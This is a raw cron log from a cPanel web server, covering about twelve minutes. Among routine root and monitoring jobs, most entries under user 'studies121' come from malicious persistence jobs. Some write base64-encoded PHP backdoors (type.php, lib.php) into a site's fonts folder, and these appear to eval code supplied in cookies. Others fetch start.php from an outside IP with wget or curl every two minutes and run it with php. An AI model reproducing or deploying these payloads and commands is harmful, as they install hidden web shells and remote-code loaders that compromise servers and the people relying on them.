Sep  9 05:11:01 ip-184-168-122-23 CROND[17863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:11:02 ip-184-168-122-23 CROND[17867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:11:02 ip-184-168-122-23 CROND[17865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:11:02 ip-184-168-122-23 CROND[17866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:12:02 ip-184-168-122-23 CROND[17961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:12:02 ip-184-168-122-23 CROND[17963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:12:02 ip-184-168-122-23 CROND[17964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:12:02 ip-184-168-122-23 CROND[17966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:12:02 ip-184-168-122-23 CROND[17967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:13:01 ip-184-168-122-23 CROND[18170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:13:01 ip-184-168-122-23 CROND[18172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:13:01 ip-184-168-122-23 CROND[18173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:13:01 ip-184-168-122-23 CROND[18175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:14:01 ip-184-168-122-23 CROND[18255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:14:01 ip-184-168-122-23 CROND[18257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:14:01 ip-184-168-122-23 CROND[18258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:14:01 ip-184-168-122-23 CROND[18261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:14:01 ip-184-168-122-23 CROND[18260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:15:02 ip-184-168-122-23 CROND[18363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:15:02 ip-184-168-122-23 CROND[18364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:15:02 ip-184-168-122-23 CROND[18365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:15:02 ip-184-168-122-23 CROND[18366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:15:02 ip-184-168-122-23 CROND[18373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:15:02 ip-184-168-122-23 CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:16:01 ip-184-168-122-23 CROND[18465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:16:01 ip-184-168-122-23 CROND[18467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:16:01 ip-184-168-122-23 CROND[18469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:16:01 ip-184-168-122-23 CROND[18470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:16:01 ip-184-168-122-23 CROND[18468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:16:01 ip-184-168-122-23 CROND[18471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:17:01 ip-184-168-122-23 CROND[18590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:17:01 ip-184-168-122-23 CROND[18591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:17:01 ip-184-168-122-23 CROND[18592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:17:01 ip-184-168-122-23 CROND[18593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:18:01 ip-184-168-122-23 CROND[18793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:18:01 ip-184-168-122-23 CROND[18794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:18:01 ip-184-168-122-23 CROND[18797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:18:01 ip-184-168-122-23 CROND[18796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:18:01 ip-184-168-122-23 CROND[18795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:19:01 ip-184-168-122-23 CROND[18909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:19:01 ip-184-168-122-23 CROND[18911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:19:01 ip-184-168-122-23 CROND[18913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:19:01 ip-184-168-122-23 CROND[18912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:20:01 ip-184-168-122-23 CROND[19053]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:20:01 ip-184-168-122-23 CROND[19056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:20:01 ip-184-168-122-23 CROND[19058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:20:01 ip-184-168-122-23 CROND[19060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:20:01 ip-184-168-122-23 CROND[19062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:20:01 ip-184-168-122-23 CROND[19059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:20:01 ip-184-168-122-23 CROND[19064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:20:01 ip-184-168-122-23 CROND[19057]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 05:20:01 ip-184-168-122-23 CROND[19065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:21:01 ip-184-168-122-23 CROND[19194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:21:01 ip-184-168-122-23 CROND[19196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:21:01 ip-184-168-122-23 CROND[19199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:21:01 ip-184-168-122-23 CROND[19202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:22:01 ip-184-168-122-23 CROND[19324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:22:01 ip-184-168-122-23 CROND[19328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:22:01 ip-184-168-122-23 CROND[19326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:22:01 ip-184-168-122-23 CROND[19327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:22:01 ip-184-168-122-23 CROND[19329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:23:01 ip-184-168-122-23 CROND[19430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:23:01 ip-184-168-122-23 CROND[19431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
